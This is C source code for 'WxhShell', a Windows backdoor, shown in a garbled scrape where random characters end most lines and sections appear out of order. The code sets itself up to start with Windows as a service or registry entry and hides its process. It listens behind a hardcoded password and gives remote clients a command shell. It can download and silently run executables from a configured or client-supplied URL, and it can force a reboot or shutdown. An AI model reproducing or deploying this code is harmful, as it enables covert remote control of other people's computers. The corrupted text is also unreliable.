    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /Bv#) -5  
    if(Boot(SHUTDOWN)) y.a]r7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t%0?N<9YkU  
    else { I*)VZW  
    closesocket(wsh); >9K//co"of  
    ExitThread(0); n]? WCG}cd  
    } S q@H  
    break; }p3b#fAr  
    } rzLd"`  
  // 获取shell gSi5u# }J  
  case 's': { HMQI&Lh=U  
    CmdShell(wsh); ZW4aY}~)$  
    closesocket(wsh); mf$j03tu  
    ExitThread(0); UsW5d]i}Y  
    break; t 0O4GcAN  
  } f?UzD#50D  
  // 退出 `iixq9xi  
  case 'x': { %_)zWlN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |"7Pv skT  
    CloseIt(wsh); S3 \jcgrS  
    break; E,"&-`/2v  
    } Epjff@ 7A  
  // 离开 @PkJY  
  case 'q': { vs9?+3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lk, +Tfk"  
    closesocket(wsh); MgJ5B(c  
    WSACleanup(); r|Zi3+  
    exit(1); 7Ua7A  
    break; CY"i-e"q<Q  
        } /'&;Q7!)  
  } pO/%N94s  
  } a5c'V   
__N.#c/l{  
  // 提示信息 !vqC+o>@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jbw!:x [  
} HkjEiU  
  } R,0Oq5  
$Xf(^K  
  return; vgG}d8MW37  
} ! q6hC  
LJuW${Y  
// shell模块句柄 U6j/BJT"  
int CmdShell(SOCKET sock) ^X1wI9V  
{ &d^=s iL  
STARTUPINFO si; %$X\"  
ZeroMemory(&si,sizeof(si)); zQfkMa.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qd2xb8r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i57( $1.  
PROCESS_INFORMATION ProcessInfo; 3:`XG2'  
char cmdline[]="cmd"; *8A6Q9YT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /^<en(0=P  
  return 0; #BJ\{"b_}z  
} ,)#.a%EKA  
zY APf &5  
// 自身启动模式 /6tcSg)  
int StartFromService(void) EZj1jpL  
{ vDDljQXw4  
typedef struct aj7dH5SZl  
{ L(o#4YH}>J  
  DWORD ExitStatus; (cV  
  DWORD PebBaseAddress; bx;f`8SN  
  DWORD AffinityMask; qu{mqkfN>  
  DWORD BasePriority; J_"3UZ~&  
  ULONG UniqueProcessId; {BOLP E-  
  ULONG InheritedFromUniqueProcessId; i Ci>zJ  
}   PROCESS_BASIC_INFORMATION; rK=6]j(K  
Ye |G44z  
PROCNTQSIP NtQueryInformationProcess; I'_v{k5ZI  
F=Y S^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )/Y~6A9>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X>3^a'2,E  
iJnh$jo  
  HANDLE             hProcess; h|W%4|]R)  
  PROCESS_BASIC_INFORMATION pbi; TVkcDS  
$I8[BYblB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &9P<qU^N)  
  if(NULL == hInst ) return 0; mK\aI  
;'1Apy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /H&aMk}J@y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); myvh@@N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]N}]d +^6  
> V%Q O>C  
  if (!NtQueryInformationProcess) return 0; h6QWH  
Vyt E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]P3[.$z  
  if(!hProcess) return 0;  P\(30  
Lk nVqZ|k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %V_eJC""?  
mw+j|{[  
  CloseHandle(hProcess); jT^!J+?6K+  
0xP:9rm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {hd-w4"115  
if(hProcess==NULL) return 0; OmNn,PCl8  
# "r kuDO  
HMODULE hMod; `ue?Z%p|  
char procName[255]; Phlk1*1n  
unsigned long cbNeeded; \(u@F<s-  
WOb8 "*OM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); # #>a&,  
ptR  
  CloseHandle(hProcess); Xw(3j)xQ  
2f{kBD  
if(strstr(procName,"services")) return 1; // 以服务启动 AU`OESSI  
7A0dl}:  
  return 0; // 注册表启动 O5MDGg   
} B9W/bJ6%  
"::9aYd!  
// 主模块 ~d+O/:=K_  
int StartWxhshell(LPSTR lpCmdLine) .0 X$rX=  
{ Q X):T#^V  
  SOCKET wsl; V.j#E 1P  
BOOL val=TRUE; FO^24p  
  int port=0; ?*o;o?5s^  
  struct sockaddr_in door; qw0~ *0}  
fLM.k CD?u  
  if(wscfg.ws_autoins) Install(); +$ ~8)95<B  
ZgBckb  
port=atoi(lpCmdLine); |Gc&1*$  
npj5U/  
if(port<=0) port=wscfg.ws_port; Rp eBm#E2  
'FxYMSZS$  
  WSADATA data; BvJ\x)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^0eO\wc?O  
}K;iJ~kD1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -x?Hj/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D(@SnI+  
  door.sin_family = AF_INET; \E&thp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zh? V,39  
  door.sin_port = htons(port); Ou!)1UFI  
>3$uu+p1F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !Sfe{/$w  
closesocket(wsl); &<t79d%{  
return 1; 3Tw%W0q  
} ](n69XX_  
!ABLd|tP  
  if(listen(wsl,2) == INVALID_SOCKET) { PHQcstW  
closesocket(wsl); 2<m Q,,j  
return 1; ' tSnH&c  
} f~iML5lG  
  Wxhshell(wsl); 1O4D+0@  
  WSACleanup(); Vy r] x  
w'XSb.\)_m  
return 0; x{j+}'9  
++gPv}:$X  
} ZR2\ dH*  
l3\9S#3-^  
// 以NT服务方式启动 PbQE{&D#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]3 j[3'  
{ ^T+<!k  
DWORD   status = 0; 1sMV`qv>  
  DWORD   specificError = 0xfffffff; !,R  
8z0Hx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /t5g"n3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9?!u2 o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F*. /D~K  
  serviceStatus.dwWin32ExitCode     = 0; \CDAFu#  
  serviceStatus.dwServiceSpecificExitCode = 0; 7s!AH yZ  
  serviceStatus.dwCheckPoint       = 0; ec#_olG%  
  serviceStatus.dwWaitHint       = 0; c%b\CP\)W  
du8!3I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cl{{H]QngX  
  if (hServiceStatusHandle==0) return; Bd QQ9$@5  
\Qp}|n1JY  
status = GetLastError(); 4t*<+H%  
  if (status!=NO_ERROR) sq48#5Tc^r  
{ ~{9x6<g!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ym[+Rw  
    serviceStatus.dwCheckPoint       = 0; ,A^L=+  
    serviceStatus.dwWaitHint       = 0; &'NQ)Dn  
    serviceStatus.dwWin32ExitCode     = status; %qONJP  
    serviceStatus.dwServiceSpecificExitCode = specificError; )v};C<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jfe~ ,cI  
    return; C\J@fpH(t`  
  } #'#4hJ*YC  
Vj29L?3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EJv!tyJ\[  
  serviceStatus.dwCheckPoint       = 0; ;+r0 O0;9  
  serviceStatus.dwWaitHint       = 0; rrbZ+*U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Re7{[*Q4  
} +6uOg,;  
}@3$)L%n_u  
// 处理NT服务事件,比如:启动、停止 :^K~t!@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %odw+PhO  
{ xL|?(pQ/BK  
switch(fdwControl) E8+8{ #f;  
{ i4 P$wlO  
case SERVICE_CONTROL_STOP: gp%tMT I1  
  serviceStatus.dwWin32ExitCode = 0; Q4#\{" N!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #T Z!#,q  
  serviceStatus.dwCheckPoint   = 0; 7%W!k zp>  
  serviceStatus.dwWaitHint     = 0; zkH<aLRB  
  { EWSr@}2j .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ws#hhW3qK  
  } l DgzM3  
  return; h)"'YzCt  
case SERVICE_CONTROL_PAUSE: FyQOa)5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W5TqC  
  break; >Zi|$@7t-  
case SERVICE_CONTROL_CONTINUE: K~P76jAe$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HE9. k.sS  
  break; "MW55OWYU  
case SERVICE_CONTROL_INTERROGATE: 1LV|t+Sex  
  break; UzXDi#Ky  
}; $4ka +nfU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pxap;;\  
} :p,c%"8  
$hC~af6  
// 标准应用程序主函数 W=q?tD~V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7l[t9ON  
{ A[K:/tB  
G1,Ro1  
// 获取操作系统版本 q=T<^Tk#e  
OsIsNt=GetOsVer();  GE{8I<7c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % E<FB;h  
3L%Y"4(mm  
  // 从命令行安装 D "JMSL4r  
  if(strpbrk(lpCmdLine,"iI")) Install(); AviT+^7E  
77)OW $G  
  // 下载执行文件 9t,aT!f  
if(wscfg.ws_downexe) { cKaL K#~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \xy:6gd:  
  WinExec(wscfg.ws_filenam,SW_HIDE); >eTf}#s?S  
} <t% Ao,"  
Fj '\v#h  
if(!OsIsNt) { Rh5@[cg%  
// 如果时win9x,隐藏进程并且设置为注册表启动 h;&&@5@lM  
HideProc(); 0;. e#(`-  
StartWxhshell(lpCmdLine); e&r+w!  
} CR} >  
else u0<d2Y  
  if(StartFromService()) J+-,^8)  
  // 以服务方式启动 K+(m'3`  
  StartServiceCtrlDispatcher(DispatchTable); c`Lpqs`  
else <h)deB+}  
  // 普通方式启动 G:H(IA7Z  
  StartWxhshell(lpCmdLine); <e@I1iL37y  
Ly@U\%.  
return 0; '5&B~ 1&  
} Ut0qr kqF  
37GHt9l  
&QiAM`MbC=  
/ n C$?w  
=========================================== :/I={)5  
pP=_@ 3 D  
M)bC%(xJ  
vq@#Be?@  
%t,1_c0w  
%a%+!wX0x  
" I_{9eG1w?  
}[YcilU_  
#include <stdio.h> Cf8R2(-4  
#include <string.h> ?#');`  
#include <windows.h> oZ|{J  
#include <winsock2.h> Xmw2$MCB  
#include <winsvc.h> J~PTVR  
#include <urlmon.h> 0ll,V  
NpjsZcA  
#pragma comment (lib, "Ws2_32.lib") Br?++\  
#pragma comment (lib, "urlmon.lib") ~cWLu5  
Pj^k pjV  
#define MAX_USER   100 // 最大客户端连接数 ~8S4Kj)%  
#define BUF_SOCK   200 // sock buffer ]kU~#WT  
#define KEY_BUFF   255 // 输入 buffer @DjG? yLK$  
YQlpk@X`2  
#define REBOOT     0   // 重启 )[a?J,  
#define SHUTDOWN   1   // 关机 M $E8:  
*;~{_Disz  
#define DEF_PORT   5000 // 监听端口 k;9#4^4(  
O;.d4pO(tC  
#define REG_LEN     16   // 注册表键长度 I+-Rs2wb  
#define SVC_LEN     80   // NT服务名长度 &AkzSgP  
 Wl}G[>P  
// 从dll定义API `pn-fk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ixUiXP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `K ~>!d_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mAtG&my)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }1E_G  
]Y/pSwnV  
// wxhshell配置信息 crF9,p  
struct WSCFG { [9##Kb  
  int ws_port;         // 监听端口 -bG#h)yj  
  char ws_passstr[REG_LEN]; // 口令 $txWVjR?\  
  int ws_autoins;       // 安装标记, 1=yes 0=no *HfW(C$  
  char ws_regname[REG_LEN]; // 注册表键名 }T&;*ww  
  char ws_svcname[REG_LEN]; // 服务名 0Mzc1dG:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }pU!1GsO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~=aI2(b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s;=J'x)~%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %E=,H?9&>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +b:h5,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wHDF TIDI  
~S~x@&yR  
}; ESXU, qK]v  
ui:>eYv  
// default Wxhshell configuration }tg:DG  
struct WSCFG wscfg={DEF_PORT, Ix l"'Q_z  
    "xuhuanlingzhe", ~vvQz"  
    1, ?PH}b?f4  
    "Wxhshell", CMD`b  
    "Wxhshell", x#!{5;V&K  
            "WxhShell Service", :D)&>{?  
    "Wrsky Windows CmdShell Service", tue%L]hc  
    "Please Input Your Password: ", bU@>1>b6lE  
  1, oBGstt@  
  "http://www.wrsky.com/wxhshell.exe", *~MiL9m+?  
  "Wxhshell.exe" X_Of k  
    }; jmwQc&  
.>\>F{#~  
// 消息定义模块 ](( >i%%~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /m|&nl8"qe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [sh"?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GqF.T#|  
char *msg_ws_ext="\n\rExit."; -p]`(S%  
char *msg_ws_end="\n\rQuit."; vo^9qSX f  
char *msg_ws_boot="\n\rReboot..."; "Ezr-4  
char *msg_ws_poff="\n\rShutdown..."; 5d>YE  
char *msg_ws_down="\n\rSave to "; 3C5D~9v  
sfBjA  
char *msg_ws_err="\n\rErr!"; t.i9!'Y ]  
char *msg_ws_ok="\n\rOK!"; [n@!=T  
=<27qj  
char ExeFile[MAX_PATH]; RHA>fXp  
int nUser = 0; WSX@0A.&)  
HANDLE handles[MAX_USER]; I@3c QxI  
int OsIsNt; mk3e^,[A  
HZ`G)1&)  
SERVICE_STATUS       serviceStatus; `E1_S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gpTF^.(  
%2FCpre;  
// 函数声明 I}CA-8  
int Install(void); 0jx~_zq-j  
int Uninstall(void); fgz'C?  
int DownloadFile(char *sURL, SOCKET wsh); 5In8VE !P  
int Boot(int flag); GzE3B';g  
void HideProc(void); vd X~E97  
int GetOsVer(void); D_;n4<|.  
int Wxhshell(SOCKET wsl); ]> "/<"  
void TalkWithClient(void *cs); R5~vmT5W  
int CmdShell(SOCKET sock); Wy-quq03"&  
int StartFromService(void); jgfP|oD  
int StartWxhshell(LPSTR lpCmdLine); "rlSK >`  
R@{/$p:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .}u(&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =D:R'0YH  
7&S|y]$~  
// 数据结构和表定义 x~Esu}x7  
SERVICE_TABLE_ENTRY DispatchTable[] = e, 3(i!47  
{ *,=+R$  
{wscfg.ws_svcname, NTServiceMain}, q\Io6=39x  
{NULL, NULL} # ;KG6IE  
}; Nb, H8;  
\:)o'-   
// 自我安装 >"My\o  
int Install(void) !/lY q;$R  
{ o_^d>Klb8  
  char svExeFile[MAX_PATH]; af5`ktx  
  HKEY key; _=M'KCL*)  
  strcpy(svExeFile,ExeFile); sYW)h$p;D  
4Xho0lO&  
// 如果是win9x系统,修改注册表设为自启动 wjGjVTtHs  
if(!OsIsNt) { HC`3AQ12!&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,(Hmk(,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .2-JV0  
  RegCloseKey(key); 8@*|T?r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9^h%}>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VX@G}3Ck  
  RegCloseKey(key); qc4 "0Ap'  
  return 0; .L|ax).D  
    } *"bp}3$^^  
  } Y{:/vOj  
} [";5s&)q  
else { 7%x+7  
tcdn"]#U  
// 如果是NT以上系统,安装为系统服务 >Ezwl5b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'ah0IYe  
if (schSCManager!=0) '/*rCB  
{ = y,avR  
  SC_HANDLE schService = CreateService J^a"1|  
  ( "jJ)hk5e  
  schSCManager, ])l[tVHm  
  wscfg.ws_svcname, sN) .Jo  
  wscfg.ws_svcdisp, PvBbtC-9b  
  SERVICE_ALL_ACCESS, 4E(5Ccb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \@t5S  
  SERVICE_AUTO_START, t'/;Z:  
  SERVICE_ERROR_NORMAL, _o"3gfH&sJ  
  svExeFile, (dt_ D  
  NULL, >43yty\   
  NULL, ZvKMRW  
  NULL, /'_ RI  
  NULL, /6*.%M>r  
  NULL #\["y%;W  
  ); UN4) >\Y  
  if (schService!=0) y$Noo)Z  
  { .v&h>@'m  
  CloseServiceHandle(schService); Bj[/ tQ  
  CloseServiceHandle(schSCManager); +B|X k[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); beR)8sC3q  
  strcat(svExeFile,wscfg.ws_svcname); =8 D4:Ds  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ymCIk /\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~ J{{n_G{  
  RegCloseKey(key); +E[)@;T  
  return 0; w[G_w:$a  
    } Z69 IHA[  
  } bbkI}d%(Ng  
  CloseServiceHandle(schSCManager); >U/g*[>  
} TAoR6aE  
} z$5C(!)  
$NRb'   
return 1; # Kr.!uD  
} E\N=p&g$  
 (t['  
// 自我卸载 e>Y2q|S85  
int Uninstall(void) ?0%TE\I8  
{ (:x"p{  
  HKEY key; `R?W @,@'  
sB/s17ar  
if(!OsIsNt) { p>O< "X@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W A}@n  
  RegDeleteValue(key,wscfg.ws_regname); PCfs6.*5Mf  
  RegCloseKey(key); K! j*:{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qE:DJy <  
  RegDeleteValue(key,wscfg.ws_regname); a$O]'}]`  
  RegCloseKey(key); {\zr_v`g  
  return 0; 9iNns;^`q  
  } F ;&e5G  
} m3-J0D<  
} _=x_"rz x  
else { xB+H7Ya  
[wG%@0\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); " ?,6{\y,  
if (schSCManager!=0) (\>'yW{f  
{ -Lb^O/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,4,c-   
  if (schService!=0) 2H "iN[2A  
  { ,quTMtk~  
  if(DeleteService(schService)!=0) { ,?/<fxIY  
  CloseServiceHandle(schService); 5^/[]*  
  CloseServiceHandle(schSCManager); mIo7 K5z{  
  return 0; W fNMyI  
  } RBD MZ  
  CloseServiceHandle(schService); p2(_YN;s  
  } LTct0Gh  
  CloseServiceHandle(schSCManager); db~:5#*  
} /vMyf),2  
} XCriZ|s  
3~la/$?p0  
return 1; b15qy?`y  
} S>E.*]_  
$ '*BS  
// 从指定url下载文件 r ngw6?`n-  
int DownloadFile(char *sURL, SOCKET wsh) V5 r7eC  
{ IBh~(6  
  HRESULT hr; W9'jzP  
char seps[]= "/"; uJ[Vv4N%9  
char *token; xrnH= >.;m  
char *file; Y1\vt+`O  
char myURL[MAX_PATH]; p]eD@3Wz  
char myFILE[MAX_PATH]; V+z)B+  
AoeW<}MO  
strcpy(myURL,sURL); &N0|tn  
  token=strtok(myURL,seps); v2sU$M  
  while(token!=NULL) QovC*1'  
  { s\!vko'M  
    file=token; q:^Cw8  
  token=strtok(NULL,seps); >IjLFM+U  
  } <LN$[&f#  
q04Dj-2<  
GetCurrentDirectory(MAX_PATH,myFILE); {Z.@-Tl_  
strcat(myFILE, "\\"); *xP:7K  
strcat(myFILE, file); ^ ni_%`Ag  
  send(wsh,myFILE,strlen(myFILE),0); 4N j?UDa  
send(wsh,"...",3,0); )7J>:9h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {[ *_HAy7  
  if(hr==S_OK)  Jx w<*  
return 0; m)}MkC-  
else [^~9wFNtd  
return 1; Q;nr=f7Ys  
K/cK6Yr  
} nUHVPuQ/'T  
w-Fk&dC69  
// 系统电源模块 GR `ncI$z  
int Boot(int flag) 2z3A"HrlA  
{ v19`7qgR(  
  HANDLE hToken; 2zu~#qU[)M  
  TOKEN_PRIVILEGES tkp; d 4R+gIA  
' qE  
  if(OsIsNt) { 0B/a$NC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 06 s3 b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g<%-n,  
    tkp.PrivilegeCount = 1; ?UDO%`X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )A=g# D#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _<Yo2,1^  
if(flag==REBOOT) { %WR"85  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *`T &Dlt'8  
  return 0; H_nJST<v`  
} ts>}>}@vc  
else { ulJYJ+CC!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e]h'  
  return 0; tb3fz")UC  
} d.o FlT  
  } ^iS:mt  
  else { vW3ZuB  
if(flag==REBOOT) { %;$Y|RbmqE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _B FX5ifK  
  return 0; 38i,\@p`9$  
} 3 ?~+5DU  
else { zAJUL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %nF\tVP3]  
  return 0; XtdLKYET  
} S]O Hv6  
} ,>v9 Y#U  
%[m1\h"1  
return 1; _!p3M3"$B  
} ~1sl.8tF  
A"iD4Q  
// win9x进程隐藏模块 E,yK` mPp^  
void HideProc(void) VTfaZ/e.  
{ L-{r*ccIW  
rF3]AW(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g>P9hIl  
  if ( hKernel != NULL ) {`CWzk?  
  { ZY$@_DOB}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d2yHfl]3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LfXr(2u  
    FreeLibrary(hKernel); N\p]+[6  
  } N o\&~  
j88sE MZ  
return; Fxx2vTV4ag  
} /+O8A}  
-wMW@:M_  
// 获取操作系统版本 b)^ZiRW``  
int GetOsVer(void) u?Mu*r?  
{ $OoN/^kv  
  OSVERSIONINFO winfo; } /3pC a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "m;]6B."  
  GetVersionEx(&winfo); %v:h]TA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K/ m)f#  
  return 1; u@u.N2H.%  
  else FD+PD:cQn  
  return 0; TFDCo_>o  
} }h h^U^ia  
[=3tAPpzK  
// 客户端句柄模块 pF+wH MhUe  
int Wxhshell(SOCKET wsl) w*}yw"gP*0  
{ [iy;}5XK  
  SOCKET wsh; ~c$ts&Cl  
  struct sockaddr_in client; C?|3\@7  
  DWORD myID; ~9YA!48  
[ c[MQA0  
  while(nUser<MAX_USER) |ZlT>u  
{ 166c\QO  
  int nSize=sizeof(client); ]pTw]SK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .ASwX   
  if(wsh==INVALID_SOCKET) return 1; m>dcb 6B+g  
y]f^`2L!8>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fYM6wYJ  
if(handles[nUser]==0) ey\{C`(__y  
  closesocket(wsh); UZXcKl>u  
else 8'WMspX  
  nUser++; f<altz_\q  
  } rtmt 3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 15o *r  
,Ysl$^\  
  return 0; U]U)'  
} L^{;jgd&T9  
$_zkq@  
// 关闭 socket m&0BbyE.z  
void CloseIt(SOCKET wsh) G_N-}J>EP  
{ W)msaq,  
closesocket(wsh); ~.9o{?pbG  
nUser--; +xBK^5/x  
ExitThread(0); |QNLO#$ -  
} aevG<|qP  
3]OP9!\6  
// 客户端请求句柄 bNpIC/#0K  
void TalkWithClient(void *cs) V0 +k3H  
{ + >gbZ-S  
nf.:5I.  
  SOCKET wsh=(SOCKET)cs; @))}\:  
  char pwd[SVC_LEN]; qTh='~m4[  
  char cmd[KEY_BUFF]; %i -X@.P  
char chr[1]; ^lc}FN  
int i,j; :`u&TXsu  
K[>@'P}y  
  while (nUser < MAX_USER) { UtBlP+bE?y  
i,Wm{+H-O  
if(wscfg.ws_passstr) { 3 s_k>cO=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q}?N4kg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xm=^\K3  
  //ZeroMemory(pwd,KEY_BUFF); f,HzrHax  
      i=0; &*]{"^  
  while(i<SVC_LEN) { ?}3PJVy?  
m{$tO;c/Q  
  // 设置超时 %3c|  
  fd_set FdRead; H(G^O&ppdB  
  struct timeval TimeOut; ~d7Wjn$@  
  FD_ZERO(&FdRead); bqQO E4;  
  FD_SET(wsh,&FdRead); {.3  
  TimeOut.tv_sec=8; @Gn?8Ur%  
  TimeOut.tv_usec=0; VXc+Wm*W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j*La ,iF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k4F"UG-`  
IgiF,{KE,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1u"*09yZd  
  pwd=chr[0]; 2~&hstd%  
  if(chr[0]==0xd || chr[0]==0xa) { /q"d`!h)w  
  pwd=0; sE%<"h\_0  
  break; }L$Xb2^l  
  } 0fPHh>u  
  i++; `f 6)Q`n  
    } $v'Y:  
&<w[4z\  
  // 如果是非法用户,关闭 socket f*T)*R_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y( $Ji12  
} @"{'j  
5h|m4)$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U.hERe ~X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yXTK(<'  
aq0iNbv@  
while(1) { s@ 2 0#D  
^?s~Fk_V  
  ZeroMemory(cmd,KEY_BUFF); ~C"k$;(n  
N$,/Q9h^  
      // 自动支持客户端 telnet标准   ;N$0)2w  
  j=0; &8Jg9#  
  while(j<KEY_BUFF) { 9o`7Kc/g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hw?2XDv j  
  cmd[j]=chr[0]; };"+ O  
  if(chr[0]==0xa || chr[0]==0xd) { 'Uko^R)(  
  cmd[j]=0; zD)IU_GWa  
  break; 2B9 i R  
  } ovDJ{3L6O  
  j++; t8DL9RW'  
    } LmXF`Y$  
xMNNXPz(  
  // 下载文件 vcw>v={x  
  if(strstr(cmd,"http://")) { GDHK.?GY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YA"Ti9-EV  
  if(DownloadFile(cmd,wsh)) 8Q^6ibE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *,W!FxJ  
  else c/<Sa|'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $"sq4@N  
  } $(@o$%d  
